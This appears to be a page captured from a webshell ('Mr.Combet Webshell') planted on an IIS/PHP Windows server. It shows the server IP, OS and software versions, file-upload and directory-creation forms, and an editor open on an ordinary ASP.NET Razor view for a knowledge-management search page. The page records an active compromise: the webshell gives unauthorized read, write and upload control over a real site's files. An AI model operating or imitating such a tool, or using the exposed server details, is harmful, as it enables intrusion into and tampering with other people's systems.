Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
map
/
Views
/
KnowledgeManagement
/
Edit File Name :
Index.cshtml
@using RER_Project.BusinessLayer.BusinessService @using RER_Project.Core.Helpers @{ var page = ViewBag.PageNo; Layout = "~/Views/Shared/_Layout.cshtml"; var meta = AppUserService.GetCurrent(); } <div class="row wrapper border-bottom white-bg page-heading"> <div class="col-md-8"> <ol class="breadcrumb"> <li class="active"> <strong>Stories/Cases Record</strong> </li> </ol> </div> </div> <div class="wrapper wrapper-content animated fadeInRight"> <div class="ibox float-e-margins"> <div class="ibox-content" style=" margin-bottom: 5px; "> <div class="row"> <div class="form-group col-md-3"> <label><strong>Title</strong></label> <input type="text" class="form-control" name="Title" id="Title" value="@ViewBag.Title" /> </div> <div class="form-group col-md-3"> <label><strong>Component</strong></label> <select class="form-control" name="ComponentId" id="ComponentId" data-api="/component/select" data-api-selected-value="@ViewBag.ComponentId"></select> <input type="hidden" id="HiddenComponentId" value="@ViewBag.Province" /> </div> <div class="form-group col-md-3"> <label><strong>Sub Component</strong></label> <select class="form-control" name="SubComponentId" id="SubComponentId" data-api="/sub-component/select" disabled="" data-api-selected-value="@ViewBag.SubComponentId"></select> <input type="hidden" id="HiddenSubComponentId" value="@ViewBag.SubComponentId" /> </div> <div class="form-group col-md-3"> <label><strong>Product Type</strong></label> <select class="form-control" name="ProductTypeId" id="ProductTypeId" data-api="/common/select/ProductType" data-api-selected-value="@ViewBag.ProductTypeId"></select> <input type="hidden" id="HiddenProductTypeId" value="@ViewBag.ProductTypeId" /> </div> <div class="form-group col-md-3"> <label><strong>Significant Changes</strong></label> <select class="form-control" name="SignificantChangeId" id="SignificantChangeId" data-api="/common/select/SignificantChanges" data-api-selected-value="@ViewBag.SignificantChangeId"></select> <input type="hidden" id="HiddenSignificantChangeId" value="@ViewBag.SignificantChangeId" /> </div> <div class="form-group col-md-3"> <label><strong>From Date</strong></label> <input type="text" class="form-control" id="FromDatePicker" name="FromDatePicker" /> </div> <div class="form-group col-md-3"> <label><strong>To Date</strong></label> <input type="text" id="ToDatePicker" name="ToDatePicker" class="form-control" /> </div> <input type="hidden" id="FromDate" name="FromDate" /> <input type="hidden" id="ToDate" name="ToDate" /> <input type="hidden" id="FromDateNepali" name="FromDateNepali" /> <input type="hidden" id="ToDateNepali" name="ToDateNepali" /> <div class="form-group col-md-3 pull-right m-t-md"> <button type="button" id="filter" name="filter" class="btn btn-primary center-orientation">Search <i class="fa fa-search" aria-hidden="true"></i></button> <button type="button" id="clear" name="clear" class="btn btn-primary center-orientation">Reset <i class="fa fa-refresh" aria-hidden="true"></i></button> </div> </div> </div> <div class="ibox-content"> <div id="loadPartialView"></div> </div> </div> </div> <link href="~/Content/NepaliDatePicker/nepaliDatePicker.min.css" rel="stylesheet" /> <script src="~/Scripts/NepaliDatePicker/jquery.nepaliDatePicker.min.js"></script> <script> $(document).ready(function () { window.initializeSelectApis(); window.initializeCascadeComponent(); initializeDatePicker(); var componentId = $("#HiddenComponentId").val(); var subComponentId = $("#HiddenSubComponentId").val(); var productTypeId = $("#HiddenProductTypeId").val(); var significantChangeId = $("#HiddenSignificantChangeId").val(); var titleSearch = $("#Title").val(); var fromDate = document.getElementById('FromDate').value; var toDate = document.getElementById('ToDate').value; @if (ViewBag.Title == null || ViewBag.Title == "") { ViewBag.Title = ""; } setTimeout(function () { getStoryCaseListInitial(0, titleSearch, componentId, subComponentId, productTypeId, significantChangeId, fromDate, toDate); }, 1000); }); function initializeDatePicker() { $("#FromDatePicker").nepaliDatePicker({ dateFormat: "%y-%M-%d", closeOnDateSelect: true }); $("#FromDatePicker").on("dateSelect", function (event) { var datePickerData = event.datePickerData; $("#FromDate").val(datePickerData.adDate.toLocaleDateString()); $("#FromDateNepali").val(datePickerData.bsYear + "-" + datePickerData.bsMonth + "-" + datePickerData.bsDate); }) $("#ToDatePicker").nepaliDatePicker({ dateFormat: "%y-%M-%d", closeOnDateSelect: true }); $("#ToDatePicker").on("dateSelect", function (event) { var datePickerData = event.datePickerData; $("#ToDate").val(datePickerData.adDate.toLocaleDateString()); $("#ToDateNepali").val(datePickerData.bsYear + "-" + datePickerData.bsMonth + "-" + datePickerData.bsDate); }) } $('#filter').off("click").on("click", function () { isFilter = true; WorkForce.loader.show(); title = $("#Title").val(); componentId = $("#ComponentId").val(); subComponentId = $('#SubComponentId').val(); productTypeId = $("#ProductTypeId").val(); significantChangesId = $("#SignificantChangeId").val(); fromDate = $("#FromDate").val(); toDate = $("#ToDate").val(); //debugger getStoryCaseList(title, componentId, subComponentId, productTypeId, significantChangesId, fromDate, toDate); }) $('#clear').off("click").on("click", function () { isFilter = true; $("#ComponentId").val(""); $("#SubComponentId").val(""); $("#ProductTypeId").val(""); $("#SignificantChangeId").val(""); $("#FromDate").val(""); $("#ToDate").val(""); getStoryCaseList("", 0, 0, 0, 0, "", ""); }) function getStoryCaseListInitial(pageNo, title, componentId, subComponentId, productTypeId, significantChangesId, fromDate, toDate) { $.ajax({ type: "GET", url: "/knowledgeManagement/storyOrCase/search", data: { page: @ViewBag.PageNo, title: title, componentId: componentId, subComponentId: subComponentId, productTypeId: productTypeId, significantChangeId: significantChangesId, fromDate: fromDate, toDate: toDate }, success: function (data) { if (data != null) { $('#loadPartialView').html(data); WorkForce.loader.hide(); } else { WorkForce.loader.hide(); var msg = "Sorry but there was an error: "; ShowMessage("error", "error", msg ); } }, error: function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); }, }); WorkForce.loader.hide(); } function getStoryCaseList(title, componentId, subComponentId, productTypeId, significantChangesId, fromDate, toDate) { //debugger $.ajax({ type: "GET", url: "/knowledgeManagement/storyOrCase/search", data: { page: 1, title: title, componentId: componentId, subComponentId: subComponentId, productTypeId: productTypeId, significantChangeId: significantChangesId, fromDate: fromDate, toDate: toDate }, success: function (data) { if (data != null) { $('#loadPartialView').html(data); WorkForce.loader.hide(); } else { WorkForce.loader.hide(); var msg = "Sorry but there was an error: "; ShowMessage("error", "error", msg ); } }, error: function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); }, }); WorkForce.loader.hide(); } </script>
Save